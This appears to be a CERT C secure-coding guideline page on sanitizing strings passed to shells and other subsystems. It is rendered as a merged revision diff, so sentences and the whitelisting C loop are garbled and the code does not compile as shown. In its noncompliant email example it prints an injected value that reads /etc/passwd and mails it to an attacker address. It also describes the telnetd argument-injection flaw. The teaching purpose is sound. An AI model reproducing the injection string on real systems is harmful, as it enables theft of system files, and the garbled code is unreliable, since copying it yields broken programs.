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String data passed to complex subsystems may contain special
characters that can trigger commands or actions, resulting in a
software vulnerability. As a result, it
is necessary to sanitize all string data passed to complex subsystems
so that the resulting string is innocuous in the context in which it
will be interpreted.

These are some examples of complex subsystems:

• command Command processor via a call to system() or similar function .
  This is (also addressed in [ENV03-AC. Sanitize the environment before
  when invoking external programs].)
• external External programs
• relational Relational databases
• third-party COTS components (e.g.Third-party commercial off-the-shelf components (for example, an enterprise resource planning
  subsystem)

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Noncompliant Code Example

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Data sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address into to a buffer and then uses this string as an argument in a call to {{system()}} \ [[Viega 03|AA. C References#Viega 03]\Viega 2003]:

Code Block
bgColor #FFCCCC lang c
sprintf(buffer, "/bin/mail %s < /tmp/email", addr); system(buffer);

The risk is, of course, is that the user enters the following string as
an e-mail email address:

Code Block
bogus@addr.com; cat /etc/passwd | mail some@badguy.net

For more information on the system() call, see ENV03-C. Sanitize the environment when invoking external programs and ENV33-C. Do not call system().

Compliant Solution

It is necessary to ensure that all valid data is accepted, while
potentially dangerous data is rejected or sanitized. This Doing so can be
difficult when valid characters or sequences of characters also have
special meaning to the subsystem and may involve validating the data
against a grammar. In cases where there is no overlap, white listing
whitelisting can be used to eliminate dangerous characters from the data.

The white listing whitelisting approach to data sanitization is to define a list of
acceptable characters and remove any character that is not acceptable.
The list of valid input values is typically a predictable,
well-defined set of manageable size. This examplecompliant solution, based on the
tcp_wrappers package written by Wietse Venema, illustrates shows the
white listing whitelisting approach.:

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
                         "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                         "1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp = user_data; /* cursorCursor into string */
for (cpconst char *end = user_data + strlen( user_data);
for *(cp += strspn(cp, ok_chars)); ; cp != end; cp += strspn(cp, ok_chars)) {
  *cp = '_';
}

The benefit of white listing whitelisting is that a programmer can be certain that
a string contains only characters that are considered safe by the
programmer. White listing Whitelisting is recommended over black listingblacklisting, which
traps all unacceptable characters, as because the programmer needs only needs to
ensure that acceptable characters are identified. As a result, the
programmer can be less concerned about which characters an attacker
may try in an attempt to bypass security checks.

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Noncompliant Code Example

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This non-compliant noncompliant code example is taken from \[ [VU#881872|AA. C References#VU881872]\], a vulnerability in the Sun Solaris TELNET daemon ({{in.telnetd}}) that allows a remote attacker to log on to the system with elevated privileges.

The vulnerability in in.telnetd invokes the login program by
calling execl(). This call passes unsanitized data from an
untrusted source (the USER environment variable) as an argument to the
login program.:

Code Block
bgColor #FFCCCC lang c
(void) execl(LOGIN_PROGRAM, "login", "-p", "-d", slavename, "-h", host, "-s", pam_svc_name, (AuthenticatingUser != NULL ? AuthenticatingUser : getenv("USER")), 0);

An attacker, in this case, can gain unauthenticated access to a system
by setting the USER environment variable to a string, which is
interpreted as an additional command-line option by the login
program. This is referred to as an This kind of attack is called argument injection attack.

Compliant Solution

The following This compliant solution inserts the "--" (double dash) argument before the
call to getenv("USER") in the call to execl():

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  "--",
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")), 0);

Because the login program uses the POSIX getopt() function to
parse command-line arguments, and because the "--" (double dash)
option causes getopt() to stop interpreting options in the
argument list, the USER variable cannot be used by an attacker to
inject an additional command-line option. This is a valid means of
sanitizing the untrusted user data in this context because the
behavior of the interpretation of the resulting string is rendered
innocuous.

The call to execl() is not susceptible to command injection
because the shell command interpreter is not invoked. (see ENV04See ENV33-AC. Do not call system() if you do not need a command processor).

The diff for this vulnerability is available from the CVS repository
at
OpenSolaris.

.)

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an
injection attack, data integrity issues, and a loss of sensitive data.

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Automated Detection

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Related Vulnerabilities

Search for for vulnerabilities resulting from the violation of this rule
on the [CERT
website|https://www.kb.cert.org/vulnotes/bymetric?searchview&query=FIELD+KEYWORDS+contains+STR02-A].

References

\[[MITRE 07|AA. C References#MITRE 07]\] [CWE ID
88|http://cwe.mitre.org/data/definitions/88.html], "Argument Injection
or Modification"; [CWE ID
78|http://cwe.mitre.org/data/definitions/78.html], "Failure to
Sanitize Data into an OS Command (aka 'OS Command Injection')"
\[[ISO/IEC 9899-1999|AA. C References#ISO/IEC 9899-1999]\] Section
7.20.4.6, "The system function"
\[[Viega 03|AA. C References#Viega 03]\]
\[[VU#881872|AA. C References#VU881872]\]

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Related Guidelines

Bibliography

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Image Added Image Added Image Added*[Image Removed|STR01-A. Use
managed strings for development of new string manipulation
code]*      *[!CERT C Secure Coding
Standard^button_arrow_up.png!|07. Characters and Strings
(STR)]*       *[!CERT C Secure Coding
Standard^button_arrow_right.png!|STR03-A. Do not inadvertently
truncate a null-terminated byte string]*